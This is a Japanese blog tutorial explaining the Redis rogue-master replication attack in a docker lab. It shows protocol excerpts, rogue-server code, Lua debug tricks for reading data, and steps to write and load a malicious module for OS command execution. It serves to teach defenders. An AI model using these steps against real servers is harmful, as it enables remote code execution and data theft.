はじめに
前回の記事で、誤ってインターネットに開放されたRedisを操作してOSコマンド実行するまでの攻撃方法を説明しました。
こちらの方法ではCONFIG SETを使っていたのですが、最近コンテナが利用されることが増えたために刺さりにくくなっています。また、Redisの実行ユーザの権限が強い必要があったり、ドキュメントルートのpathを予測する必要があったりといった制約もありました。そういった制約を回避する方法が発表されていたので試してみました。
さらに、前回はRedisが完全に操作できる前提を置いていましたが今回は更に難しくSSRFのみが使える状況が想定されています。SSRFについては調べたら出ると思うので割愛しますが、今回の場合は簡単に言うと「Redisは公開されていないが、公開されているWebサーバなど経由で攻撃者が内部のRedisにコマンドを発行できる状態」です。
要約
SSRFなど間接的であっても攻撃者がRedisに対してコマンド実行可能な状況であれば、OSの任意コマンド実行に繋げられる可能性がとても高いです(2019/07/13現在)。
この攻撃方法ではRedis Moduleを使うため、Redisの4.0以上じゃないと成立しないと思われます。
簡単に言うとOSコマンドが実行できるようなカスタムコマンドを作り、攻撃対象のRedisサーバにそのカスタムコマンドをロードさせることでOSコマンドを実行させます。カスタムコマンドをロードするためには.soファイルを最初に攻撃対象のサーバに送り込む必要がありますが、これはレプリケーションの仕組みを上手く使って送り込んでいます。詳細は後述。
先に自分の分かっている範囲で攻撃に必要な条件をまとめます。
- Redisに対して任意のコマンドを発行可能(間接的でも可)
- Redisの動いているサーバのOSやアーキテクチャが予測可能(.soファイルをロードさせるため)
- Redisサーバから外部に通信可能
- Redisが4.0以上
恐らくこれだけなのでハードルは低いと考えています。ちなみに今回はRedis ClusterやSentinelは使わずに通常のReplication方式で利用されている場合を想定しています。ですが、Cluster/Sentinelでも攻撃可能であることが発表資料内では触れられているため(少し手順は増えますが)、安全というわけではありません。
そして念の為書いておきますが、当然悪用厳禁です。この攻撃方法は既に公開されている方法で攻撃者は知っている可能性が高いです。そのためセキュリティエンジニアもきちんと原理を理解して正しい事前対策・事後対応が出来る状態になっておく必要があります。
参考
- https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
- https://paper.seebug.org/975/
自分でちゃんと読みたい方は上の発表者のスライドを見ると良いです。
環境
簡単に試せるように例によって環境を用意しました
準備としてdocker-composeのbuildとupは行っておいて下さい。
$ docker-compose build
$ docker-compose up -d
docker-composeなので、コンテナ内ではredis, rogueというホスト名で各コンテナにアクセス可能です。redisはやられサーバでrogueは攻撃者の用意したサーバという想定です。検証なので今回は直接Redisにコマンド発行という形にしています。SSRFなどでも出来ることは同じです。
また、何故かたまにコンテナ死ぬことあるのですが、その場合は↑で再起動するなどして下さい。
詳細
基本的な仕組み
Redisに対して任意のコマンドが打てる状態なので、SLAVEOFコマンドを発行することが出来ます。これを打つとそのRedisはslaveになります。今回の方法では攻撃者側でmasterサーバを用意し、攻撃したいRedisサーバを用意したmasterサーバに対して接続させます。つまり攻撃対象のRedisサーバはslaveになります。まずこの部分が重要です。自分はそこを理解するのに少し時間がかかりました。
次に、Redisのレプリケーションについて学びます。以下の翻訳が分かりやすかったです。
redis-documentasion-japanese.readthedocs.io
上のページの抜粋です。
スレーブがセットアップされたら、スレーブは接続を通じて SYNC コマンドを送ります。初回の接続でも再接続でも同じです。
マスターはバックグラウンド・セーブを開始し、また、以降に受信する、データ・セットを変更するすべてのコマンドのバッファを始めます。バックグラウンド・セーブが完了したら、マスターはデータベースファイルをスレーブに転送し、スレーブはそれをディスクに保存、およびメモリへロードします。その後、マスターはすべてのバッファされたコマンドをスレーブに送信します。これはコマンドのストリームとして実現されていて、Redis プロトコルそのものと同じフォーマットをもちます。
これを見ると、現時点でmasterが持っているデータをファイルとして転送し、それ以降に実行されたコマンドはバッファしておいてslaveに送信するようです。そしてどうやらそのコマンドは単純にslaveで実行されそうです。
自分でも試せると書いてあるのでtelnetで繋いでSYNCを送ってみます。まずredisコンテナに入ります。
$ docker-compose exec redis sh
telnetが入っていないのでインストールします。
/data # apk add busybox-extras
この状態でtelnetを繋ぎ、自分でSYNCを打ってみます。
/data # telnet localhost 6379 SYNC $175 REDIS0009 redis-ver5.0.1 redis-bits@ctime¹)used-memxrepl-stream-dbrepl-id(9a5ee5f6b004dcb75ae870eee9e79a9f601048d5 repl-offset aof-preambleczu*1
何かそれっぽいファイルが返ってきました。これは上の説明でいうデータベースファイルになります。RDBフォーマットというらしいです(Redis Databaseの略?)。正しくslaveとして機能していれば、このデータをディスクに保存してメモリにロードします。
また、この状態で少し放置しているとPINGが飛んできます。
*1 $4 PING
masterがslaveの死活監視のために行っていると思われます。
では、別ウィンドウでredisコンテナに入って適当にkey/valueを保存してみます。
$ docker-compose exec redis sh /data # redis-cli 127.0.0.1:6379> set foo bar OK
そうすると先程のtelnetの方の画面で以下のような表示が出ていると思います(PINGと混ざっていたら見にくいと思いますが)。
*2 $6 SELECT $1 0 *3 $3 set $3 foo $3 bar
このプロトコルはかなりシンプルです。最初の*のあとの数字はコマンドの引数の数を示しています。つまり最初は2です。次に$のあとの数字はその後のコマンドの長さを意味しています。$6なのはSELECTが6文字だからです。こうして見ていくと、上の文字列は2つに分けられます。
*2 $6 SELECT $1 0
これは2つの引数でコマンドが構成されていることを意味するため SELECT 0
というコマンドになります。単にデータベース0を指定しているだけです。
次は
*3 $3 set $3 foo $3 bar
ですが、これも単に set foo bar
としているだけです。単に上で打ったコマンドと同じことが分かります。slaveとして機能している場合は、このコマンドがslave上で実行されます。
SYNCの仕組みは単純なことが分かりました。実際にはもっと細かい処理を色々しているとは思いますが、メインは上の処理だと思います。また、SYNCだとレプリケーションの接続が途切れた後フル同期ですが、PSYNCは途中から再開可能です。
SlaveにRedisのコマンドを実行させる
上で説明したとおり、masterから送られてきたコマンドはslaveで実行されます。そのため、攻撃者がmasterを用意することで簡単に攻撃したいRedisでコマンドが実行可能です。今回はSSRFなどで元々Redisに対してコマンド発行可能なのであまり意味はないですが、試してみます。
ステップは発表資料にあるとおりですが、以下です。
- 攻撃対象のRedisに対して
SLAVEOF
を発行して、攻撃者の用意したmasterに繋がせる - slaveからPINGが来たら
+PONG
を返す - slaveからREPLCONFが来たら
+OK
を返す - slaveからPSYNC or SYNCが来たら
+CONTINUE <replid> 0
を返す - コマンドを送るためにストリームは開きっぱなしになるので実行させたいコマンドを送る
これを実装したのがrogue.pyです。Redisのmasterサーバのように振る舞いつつ、最後のコマンド部分でkeyをsetしています(fooにbarbazをセットしている)。特に以下の部分を見ると分かるかと思います。
if "PING" in data: resp = "+PONG" + CLRF phase = 1 elif "REPLCONF" in data: resp = "+OK" + CLRF phase = 2 elif "PSYNC" in data or "SYNC" in data: resp = "+CONTINUE 0 0" + CLRF resp = resp.encode() resp += self.payload("SET", "foo", "barbaz") phase = 3
https://github.com/knqyf263/redis-rogue-server/blob/master/rogue.py#L40-L51
ちなみに元々RCEを実行可能にするコードは既に公開されていたため、それを基に勉強用に変えたのが上記です。シンプルなプロトコルなので、試行錯誤しながらでしたがコードは30分ぐらいで書くことが出来ました。一度勉強で書いても面白いかもしれません。
GitHub - Dliv3/redis-rogue-server: Redis 4.x/5.x RCE
では試してみます。まず攻撃者側のrogueコンテナに入ってrogue.pyを6380番ポートで起動します(lportの指定)。
$ docker-compose exec rogue sh /rogue/redis-rogue-server # python3 rogue.py --lport 6380 SERVER 0.0.0.0:6380
次に攻撃対象のRedisに入ります。今回は勉強のために自分でSLAVEOFを実行してみます(本当はSSRF経由などで攻撃者が実行する)。
$ docker-compose exec redis sh /data # redis-cli 127.0.0.1:6379> keys * (empty list or set) 127.0.0.1:6379> slaveof rogue 6380 127.0.0.1:6379> get foo "barbaz"
最初はkeyが何もないのに、slaveofを打った後はfooが保存されています。pythonスクリプトで簡単にmasterのように振る舞いslaveにデータを保存できたということです。
SlaveにRedisのコマンドを実行させて結果を得る
今回はSSRFでRedisコマンドを打っている想定のためRedis内のデータを取得するのも簡単ではありません。上の方法でmasterからslaveに大してコマンドを打てるようになったため、getを打てばRedis内の全データを取得できるように見えます。
ですが、それは出来ません。
prepareClientToWriteというclientに対してデータを返すかどうか判別する関数があるのですが、以下のようにclientがmasterの場合にはデータを返さない処理が入っています。
int prepareClientToWrite(client *c) { ... /* Masters don't receive replies, unless CLIENT_MASTER_FORCE_REPLY flag * is set. */ if ((c->flags & CLIENT_MASTER) && !(c->flags & CLIENT_MASTER_FORCE_REPLY)) return C_ERR;
つまりmasterからslaveにSYNCのストリーム内でコマンドを発行しても結果は得られないということです。そこでどうするか発表者は考え、その上の行でOKを返す処理を見つけました。
int prepareClientToWrite(client *c) { /* If it's the Lua client we always return ok without installing any * handler since there is no socket at all. */ if (c->flags & (CLIENT_LUA|CLIENT_MODULE)) return C_OK;
CLIENT_LUAはRedisのデバッグモードであれば有効になるらしいです。Luaのデバッグのために使えるみたいですが、全く知りませんでした。
あとはストリーム内でデバッグを有効にしてあげれば結果が取得可能です。上の手順に続けて以下のような手順を行うと可能です。
SCRIPT DEBUG YES
をslaveに送るEVAL redis.breakpoint() 0
をslaveに送る- 好きなコマンドを実行させて結果を得る
これを実装したのがrogue2.pyです。以下の辺りを見れば大体分かると思います。
elif "PSYNC" in data or "SYNC" in data: resp = "+CONTINUE 0 0" + CLRF resp = resp.encode() resp += self.payload("SCRIPT", "DEBUG", "YES") resp += self.payload("EVAL", "redis.breakpoint()", "0") phase = 3 elif "breakpoint" in data: resp = self.payload("r", "keys", "*") phase = 4
https://github.com/knqyf263/redis-rogue-server/blob/master/rogue2.py#L46-L55
ということで試してみます。
$ docker-compose exec rogue sh /rogue/redis-rogue-server # python3 rogue2.py --lport 6381 SERVER 0.0.0.0:6381
この状態で先程同様redisコンテナに入って slaveof rogue 6381
を打ちます。
[->] ['*1', '$4', 'PING'] [<-] ['+PONG'] [->] ['*3', '$8', 'REPLCONF', '$14', 'listening-port', '$4', '6379'] [<-] ['+OK'] [->] ['*5', '$8', 'REPLCONF', '$4', 'capa', '$3', 'eof', '$4', 'capa', '$6', 'psync2'] [<-] ['+OK'] [->] ['*3', '$5', 'PSYNC', '$40', '2a43a6ba59e5e143171c24520ee3f9771bb542cc', '$1', '1'] [<-] ['+CONTINUE 0 0', '*3', '$6', 'SCRIPT', '$5', 'DEBUG', '$3', 'YES', '*3', '$4', 'EVAL', '$18', 'redis.breakpoint()', '$1', '0'] [->] ['*2', '+* Stopped at 1, stop reason = step over', '+-> 1 redis.breakpoint()'] [<-] ['*3', '$1', 'r', '$4', 'keys', '$1', '*'] [->] ['*2', '+<redis> keys *', '+<reply> ["foo"]'] [<-] ['']
すると無事replyが返ってきて、keyのfooが見えていることが分かります。
これでようやくSSRFでもRedis内のデータが抜けるようになりました。
OSコマンド実行
Redisから抜けてOSコマンドの実行を目指します。前の記事のようにCONFIG SETでやっても良いですが、不確実な部分もありますしコンテナではそもそも成立しない可能性があります。今回の方法ではそういった状況でも攻撃可能です。
ちなみにコンテナの場合のOSコマンド実行というのはコンテナ内のOSの話であって、コンテナをエスケープしてホスト側で実行可能ということではありません。それはまた別の脆弱性を組み合わせないと無理だと思います。
では攻撃の詳細に移ります。この方法では前述の2つとは異なりSYNC後のコマンドをメインの攻撃ターゲットとはしません。先程のレプリケーションの説明を見てみると重要なことが書いてありました。
マスターはデータベースファイルをスレーブに転送し、スレーブはそれをディスクに保存、およびメモリへロードします
先程telnetで試したように、masterから転送されたファイルがそのままslaveのディスクにファイルとして保存されます。
redisコンテナで正規のslaveofを試してみます。rogueサーバでもRedisは動かしているので普通にrogueの6379に繋ぎます。
$ docker-compose exec redis sh /data # redis-cli 127.0.0.1:6379> slaveof rogue 6379 OK 127.0.0.1:6379> exit /data # ls dump.rdb /data # cat dump.rdb REDIS0009 redis-ver5.0.1 redis-bits@ctime)used-memhrepl-stream-dbrepl-id(65d2c3eccdf9c9ed2beea6763ac35d4c1bbc3e92 repl-offset aof-preamble?V/
上を見ると分かるように、dump.rdbというファイル名で保存されていることが分かります。中身もtelnetした時に見たデータと同じなので、masterから送られてきたデータそのままのようです。
ということは実はmasterからslaveに好きなファイルを書き込めるということです。このdump.rdbはCONFIG SETでファイル名やファイルパスを変更可能なので、好きな場所に好きな内容で書き込めます。以前のCONFIG SETとSAVEを使った方法では改行をうまく使って認識させていましたが、そんな方法を使わずとも気前よく完全なファイルを送り込めます。
しかし、ただ送り込むだけではやはりWebshellやcronなどの方法になってしまいます。そこで発表者が目をつけたのがRedis Moduleです。.soファイルを読み込むことでカスタムコマンドなどが使えるようになります。
このドキュメントにもあるように、Redis起動後でもMODULEコマンドを使ってロード可能です。
MODULE LOAD /path/to/mymodule.so
つまり、.soファイルを送り込んでLOADさせれば攻撃者の好きなカスタムコマンドを定義させることが出来ます。そのカスタムコマンドは引数を受け取ってOSコマンドを実行するようなものにしておけばOSコマンドが実行できそうです。
調べたところ既にそういうものを作っている人がいました。
これをビルドして.soファイルにして送り込んだ後にLOADさせればOSコマンド実行可能です。そのための攻撃コードも既に公開されていました。
手順は以下です。
- exp.soを攻撃対象のRedisサーバのOSやアーキテクチャに合わせて事前にビルドしておく
- SLAVEOFを発行してmasterに繋がせる
CONFIG SET dbfilename exp.so
をslaveで発行させてデータベースファイルのファイル名を変更する- 一度master/slaveのコネクションを張り直し、再度SYNC/PSYNCをslaveに発行させる
+FULLRESYNC <Z*40> 1\r\n$<len>\r\n<payload>
の形式でexp.soの中身をmasterからデータベースファイルとしてslaveに返す(exp.soにpayloadが保存される)MODULE LOAD ./exp.so
をslaveで発行させモジュールをロードするsystem.exec "id"
などのコマンドをRedisで発行させOSコマンドを実行する
繰り返しになりますがまとめておきます。masterからデータベースファイルとして.soファイルを返すとslaveに保存される。その.soファイルはOSコマンドを実行するような実装にしておく。MODULE LOAD
を使って.soファイルをロードする。OSコマンド実行可能になる。という手順です。
あまり言葉で説明されても分からないかもしれないので、上のDockerイメージを使って試してみると良いと思います。Dockerfileを見れば手順も分かると思います。rogue3.pyを実行するだけで攻撃できるようにしてあります。
$ docker-compose rogue exec sh /rogue/redis-rogue-server # python3 redis-rogue-server.py --rhost redis --rport 6379 --lhost rogue --lport 21000 ... [<<] touch /tmp/foo
redisコンテナの方を見るとfooファイルが作成されています。
$ docker-compose redis exec sh /data # ls /tmp foo
rogue3.pyファイルは短いので、何をしているのかを見るのも良いと思います。
まとめ
Redisのコマンド実行をOSコマンド実行まで昇華させる方法が発表されていたので紹介しました。Redisの脆弱性というわけでもないので、単に被害にあった時に影響範囲がRedisに閉じない可能性が高いという話になります。動作原理が理解できれば、うちのシステムの設定なら大丈夫、などの判断がつくようになります。一度試してみるのがオススメです。